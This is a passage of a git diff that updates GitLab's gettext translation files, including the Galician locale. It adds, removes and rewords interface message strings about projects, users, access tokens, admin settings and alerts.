@@ -33570,10 +33696,10 @@ msgstr ""
msgid "This project path either does not exist or you do not have access."
msgstr ""
-msgid "This project will be removed on %{date}"
+msgid "This project will be deleted on %{date}"
msgstr ""
-msgid "This project will be removed on %{date} since its parent group '%{parent_group_name}' has been scheduled for removal."
+msgid "This project will be deleted on %{date} since its parent group '%{parent_group_name}' has been scheduled for deletion."
msgstr ""
msgid "This project will live in your group %{strong_open}%{namespace}%{strong_close}. A project is where you house your files (repository), plan your work (issues), publish your documentation (wiki), and so much more."
@@ -33621,10 +33747,10 @@ msgstr ""
msgid "This user does not have a pending request"
msgstr ""
-msgid "This user has an unconfirmed email address %{email}. You may force a confirmation."
+msgid "This user has an unconfirmed email address (%{email}). You may force a confirmation."
msgstr ""
-msgid "This user has been temporarily locked due to excessive number of failed logins. You may manually unlock the account."
+msgid "This user has an unconfirmed email address. You may force a confirmation."
msgstr ""
msgid "This user has no active %{type}."
@@ -33642,24 +33768,12 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
-msgid "This user is banned"
-msgstr ""
-
-msgid "This user is blocked"
-msgstr ""
-
-msgid "This user is currently an owner in these groups:"
-msgstr ""
-
msgid "This user is the author of this %{noteable}."
msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
-msgstr ""
-
msgid "This will redirect you to an external sign in page."
msgstr ""
@@ -34020,6 +34134,15 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timeout for moderately fast Gitaly operations (in seconds). Provide a value between Default timeout and Fast timeout."
+msgstr ""
+
+msgid "Timeout for most Gitaly operations (in seconds)."
+msgstr ""
+
+msgid "Timeout for the fastest Gitaly operations (in seconds)."
+msgstr ""
+
msgid "Timezone"
msgstr ""
@@ -34099,9 +34222,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34165,9 +34294,18 @@ msgstr ""
msgid "To protect this issue's confidentiality, a private fork of this project was selected."
msgstr ""
+msgid "To reactivate your account, %{gitlab_link_start}sign in to GitLab.%{link_end}"
+msgstr ""
+
+msgid "To reactivate your account, sign in to GitLab at %{gitlab_url}."
+msgstr ""
+
msgid "To receive alerts from manually configured Prometheus services, add the following URL and Authorization key to your Prometheus webhook config file. Learn more about %{linkStart}configuring Prometheus%{linkEnd} to send alerts to GitLab."
msgstr ""
+msgid "To resolve this, try to:"
+msgstr ""
+
msgid "To run CI/CD pipelines with JetBrains TeamCity, input the GitLab project details in the TeamCity project Version Control Settings."
msgstr ""
@@ -34186,9 +34324,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34204,9 +34339,6 @@ msgstr ""
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
-msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
-msgstr ""
-
msgid "To widen your search, change or remove filters above"
msgstr ""
@@ -34288,9 +34420,21 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token Access"
+msgstr ""
+
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34498,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34587,12 +34740,6 @@ msgstr ""
msgid "Turn on"
msgstr ""
-msgid "Turn on usage ping"
-msgstr ""
-
-msgid "Turn on usage ping to review instance-level analytics."
-msgstr ""
-
msgid "Twitter"
msgstr ""
@@ -34833,12 +34980,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34863,6 +35004,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown user"
+msgstr ""
+
msgid "Unless otherwise agreed to in writing with GitLab, by clicking \"Upload License\" you agree that your use of GitLab Software is subject to the %{eula_link_start}Terms of Service%{eula_link_end}."
msgstr ""
@@ -34884,9 +35028,6 @@ msgstr ""
msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
-msgid "Unlock user"
-msgstr ""
-
msgid "Unlocked"
msgstr ""
@@ -35049,9 +35190,6 @@ msgstr ""
msgid "UpdateProject|Project could not be updated!"
msgstr ""
-msgid "UpdateRepositoryStorage|Error moving repository storage for %{container_full_path} - %{message}"
-msgstr ""
-
msgid "UpdateRepositoryStorage|Failed to verify %{type} repository checksum from %{old} to %{new}"
msgstr ""
@@ -35064,9 +35202,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35109,9 +35244,6 @@ msgstr ""
msgid "Upload New File"
msgstr ""
-msgid "Upload New License"
-msgstr ""
-
msgid "Upload a certificate for your domain with all intermediates"
msgstr ""
@@ -35124,6 +35256,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload image"
+msgstr ""
+
msgid "Upload license"
msgstr ""
@@ -35133,19 +35268,13 @@ msgstr ""
msgid "UploadLink|click to upload"
msgstr ""
-msgid "Uploaded on"
-msgstr ""
-
-msgid "Uploaded:"
-msgstr ""
-
msgid "Uploading changes to terminal"
msgstr ""
msgid "Uploads"
msgstr ""
-msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. Until that time:"
+msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
msgid "Upstream"
@@ -35163,9 +35292,6 @@ msgstr ""
msgid "Usage Trends"
msgstr ""
-msgid "Usage ping is off"
-msgstr ""
-
msgid "Usage statistics"
msgstr ""
@@ -35418,10 +35544,13 @@ msgstr ""
msgid "Use custom color #FF0000"
msgstr ""
+msgid "Use double quotes for multiple keywords, such as %{code_open}\"your search\"%{code_close}"
+msgstr ""
+
msgid "Use hashed storage"
msgstr ""
-msgid "Use hashed storage paths for newly created and renamed repositories. Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Repository URL changes and may improve disk I/O performance. (Always enabled since 13.0)"
+msgid "Use hashed storage paths for newly created and renamed repositories. Always enabled since 13.0."
msgstr ""
msgid "Use one line per URI"
@@ -35430,6 +35559,9 @@ msgstr ""
msgid "Use shortcuts"
msgstr ""
+msgid "Use slash commands."
+msgstr ""
+
msgid "Use template"
msgstr ""
@@ -35541,6 +35673,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35820,9 +35955,6 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "Valid from"
-msgstr ""
-
msgid "Validate"
msgstr ""
@@ -35838,9 +35970,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35850,9 +35979,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35925,9 +36060,6 @@ msgstr ""
msgid "Various email settings."
msgstr ""
-msgid "Various localization settings."
-msgstr ""
-
msgid "Various settings that affect GitLab performance."
msgstr ""
@@ -36019,6 +36151,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36070,6 +36205,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,9 +36340,6 @@ msgstr ""
msgid "Vulnerability resolved in the default branch"
msgstr ""
-msgid "Vulnerability-Check"
-msgstr ""
-
msgid "VulnerabilityChart|%{formattedStartDate} to today"
msgstr ""
@@ -36415,6 +36550,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36466,10 +36604,10 @@ msgstr ""
msgid "We recommend leaving all SAST analyzers enabled"
msgstr ""
-msgid "We recommend that you buy more Pipeline minutes to avoid any interruption of service."
+msgid "We recommend that you buy additional Pipeline minutes to avoid any interruption of service."
msgstr ""
-msgid "We recommend that you buy more Pipeline minutes to resume normal service."
+msgid "We recommend that you buy additional Pipeline minutes to resume normal service."
msgstr ""
msgid "We sent you an email with reset password instructions"
@@ -36715,6 +36853,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36733,19 +36880,13 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
-msgid "What is your job title? (optional)"
-msgstr ""
-
-msgid "What's new"
-msgstr ""
-
-msgid "What's new is disabled and can no longer be viewed."
+msgid "What is time tracking?"
msgstr ""
-msgid "What's new presents new features for your current subscription tier, while hiding new features not available to your subscription tier."
+msgid "What is your job title? (optional)"
msgstr ""
-msgid "What's new presents new features from all tiers to help you keep track of all new features."
+msgid "What's new"
msgstr ""
msgid "What’s your experience level?"
@@ -37248,7 +37389,7 @@ msgstr ""
msgid "You can create a new SSH key by visiting %{link}"
msgstr ""
-msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
+msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings."
msgstr ""
msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
@@ -37257,7 +37398,7 @@ msgstr ""
msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
msgstr ""
-msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
+msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}."
msgstr ""
msgid "You can create new ones at your %{pat_link_start}Personal Access Tokens%{pat_link_end} settings"
@@ -37269,6 +37410,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in the future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37386,12 +37530,6 @@ msgstr ""
msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
-msgstr ""
-
-msgid "You do not have an active license"
-msgstr ""
-
msgid "You do not have any subscriptions yet"
msgstr ""
@@ -37410,9 +37548,6 @@ msgstr ""
msgid "You do not have permissions to run the import."
msgstr ""
-msgid "You don't have access to delete this user."
-msgstr ""
-
msgid "You don't have any U2F devices registered yet."
msgstr ""
@@ -37455,9 +37590,6 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
-msgid "You have a license that activates at a future date. Please see the License History table below."
-msgstr ""
-
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -37560,15 +37692,9 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
-msgid "You must transfer ownership or delete these groups before you can delete this user."
-msgstr ""
-
msgid "You must upload a file with the same file name when dropping onto an existing design."
msgstr ""
@@ -37722,7 +37848,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -37743,9 +37869,6 @@ msgstr ""
msgid "Your Groups"
msgstr ""
-msgid "Your License"
-msgstr ""
-
msgid "Your Personal Access Token was revoked"
msgstr ""
@@ -37785,9 +37908,15 @@ msgstr ""
msgid "Your access request to the %{source_type} has been withdrawn."
msgstr ""
+msgid "Your account has been deactivated"
+msgstr ""
+
msgid "Your account has been deactivated by your administrator. Please log back in to reactivate your account."
msgstr ""
+msgid "Your account has been deactivated. You will not be able to: "
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -37893,9 +38022,6 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
-msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
-msgstr ""
-
msgid "Your membership in %{group} no longer expires."
msgstr ""
@@ -37971,6 +38097,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your search timed out"
+msgstr ""
+
msgid "Your sign-in page is %{url}."
msgstr ""
@@ -38099,6 +38228,9 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
@@ -38135,6 +38267,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38228,6 +38363,9 @@ msgstr ""
msgid "ciReport|Checks"
msgstr ""
+msgid "ciReport|Cluster Image Scanning"
+msgstr ""
+
msgid "ciReport|Code quality"
msgstr ""
@@ -38827,9 +38965,6 @@ msgstr ""
msgid "loading"
msgstr ""
-msgid "locked"
-msgstr ""
-
msgid "locked by %{path_lock_user_name} %{created_at}"
msgstr ""
@@ -38979,9 +39114,6 @@ msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
-msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -39009,6 +39141,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
@@ -39108,7 +39243,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39147,9 +39282,6 @@ msgstr ""
msgid "mrWidget|You are not allowed to edit this project directly. Please fork to make changes."
msgstr ""
-msgid "mrWidget|You can delete the source branch now"
-msgstr ""
-
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
@@ -39255,6 +39387,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39280,13 +39415,10 @@ msgstr[1] ""
msgid "password"
msgstr ""
-msgid "paused"
-msgstr ""
-
msgid "pending comment"
msgstr ""
-msgid "pending removal"
+msgid "pending deletion"
msgstr ""
msgid "per day"
@@ -39454,9 +39586,6 @@ msgstr ""
msgid "severity|Unknown"
msgstr ""
-msgid "shared"
-msgstr ""
-
msgid "should be an array of %{object_name} objects"
msgstr ""
@@ -39487,9 +39616,6 @@ msgstr ""
msgid "source diff"
msgstr ""
-msgid "specific"
-msgstr ""
-
msgid "specified top is not part of the tree"
msgstr ""
@@ -39529,9 +39655,6 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "system ghost user"
-msgstr ""
-
msgid "tag name"
msgstr ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index 3d0d9726e37..2f22aee93b8 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:20\n"
+"PO-Revision-Date: 2021-07-01 21:01\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} a %{end}"
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d capa"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
